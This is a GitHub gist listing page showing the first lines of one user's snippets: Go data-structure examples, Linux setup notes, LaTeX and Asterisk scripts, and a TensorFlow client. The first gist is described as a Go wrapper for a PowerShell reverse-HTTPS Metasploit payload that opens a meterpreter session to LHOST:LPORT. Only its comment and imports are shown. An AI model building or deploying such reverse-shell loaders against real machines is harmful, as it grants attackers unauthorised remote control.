Skip to content

Instantly share code, notes, and snippets.

View mauri870's full-sized avatar
🌎

Mauri de Souza Meneguzzo mauri870

🌎
View GitHub Profile
// Powershell exploit reverse https metasploit
// It will connect with a meterpreter session running on LHOST:LPORT granting superpowers ;)
package main
import (
"fmt"
"os/exec"
)
@mauri870
mauri870 / deque.go
Last active November 20, 2016 17:46
Go program representing a deque data structure. Test it https://play.golang.org/p/i1BGlRsP19
package main
import (
"fmt"
)
func main() {
// Create a new Deque
deque := NewDeque()
@mauri870
mauri870 / stack.go
Last active November 20, 2016 17:43
Go program representing a stack data structure. Test it https://play.golang.org/p/gBUeebGQVr
package main
import (
"fmt"
)
func main() {
// Create a new Stack
stack := NewStack()
@mauri870
mauri870 / queue.go
Last active November 20, 2016 17:42
Go program representing a queue data structure. Test it https://play.golang.org/p/QXC3OkMMT3
package main
import (
"fmt"
)
func main() {
// Create a new Queue
queue := NewQueue()
@mauri870
mauri870 / manjaro-avell-g1513.md
Last active March 2, 2022 02:23
Installation of Manjaro 17 and nvidia/bumblebee drivers on Avell G1513

After a weekend of research, stress and pain I finally figure out how to install manjaro 17 and configure the nvidia/bumblebee drivers on my avell laptop

Here's my notebook specs:

$ inxi -MGCNA

Machine:   Device: laptop System: Avell High Performance product: 1513
           Mobo: N/A model: N/A v: 0.1 UEFI: American Megatrends v: N.1.02 date: 09/28/2016
Battery    BAT0: charge: 44.0 Wh 100.0% condition: 44.0/44.0 Wh (100%)
@mauri870
mauri870 / autoreload.sh
Created May 19, 2017 00:32
Rerun pdflatex on the fly when a file changes
#!/bin/bash
ls *.{tex,bib} | entr sh -c "bibtex main && pdflatex -synctex=1 -interaction=nonstopmode main.tex"
@mauri870
mauri870 / tf-serving-client.go
Last active April 2, 2022 08:43
Tensorflow Serving Go client for the inception model
// Tensorflow Serving Go client for the inception model
// go get github.com/golang/protobuf/ptypes/wrappers google.golang.org/grpc
//
// Compile the proto files:
//
// git clone https://github.com/tensorflow/serving.git
// git clone https://github.com/tensorflow/tensorflow.git
//
// mkdir -p vendor
@mauri870
mauri870 / br-abnt2
Last active May 10, 2019 15:45
br-abnt2 kbmap for Plan9. Unfortunatelly I could't figure out how to make the acentuation work, hence the 0 value in line 1, 4, 9 and 12
0 26 0
0 27 '[
0 39 'ç
0 40 0
0 41 ''
0 43 ']
0 53 ';
0 115 '/
1 26 0
1 27 '{
@mauri870
mauri870 / asterisk-unpause-all-members-not-ready-in-queue.sh
Created January 13, 2020 17:48
Unpause all paused agentes not in use in a Asterisk queue
#!/bin/sh
set -e
asterisk -rx "queue show ${1}"
grep '(paused) (Not in use)' |
awk '{$1=$1};1' |
cut -d' ' -f1 |
while read -r member
do
@mauri870
mauri870 / asterisk-17.x-bfd-debian-bullseye.patch
Last active February 18, 2020 17:21
Asterisk PABX patch for GNU BFD in Debian Bullseye — undefined reference to bfd_get_section_flags, bfd_get_section_vma and bfd_get_section_size
diff --git a/main/backtrace.c b/main/backtrace.c
index 2623d7ff87..9b80622b04 100644
--- a/main/backtrace.c
+++ b/main/backtrace.c
@@ -124,12 +124,12 @@ static void process_section(bfd *bfdobj, asection *section, void *obj)
offset = data->pc - (data->dynamic ? (bfd_vma)(uintptr_t) data->dli.dli_fbase : 0);
- if (!(bfd_get_section_flags(bfdobj, section) & SEC_ALLOC)) {
+ if (!(bfd_section_flags(section) & SEC_ALLOC)) {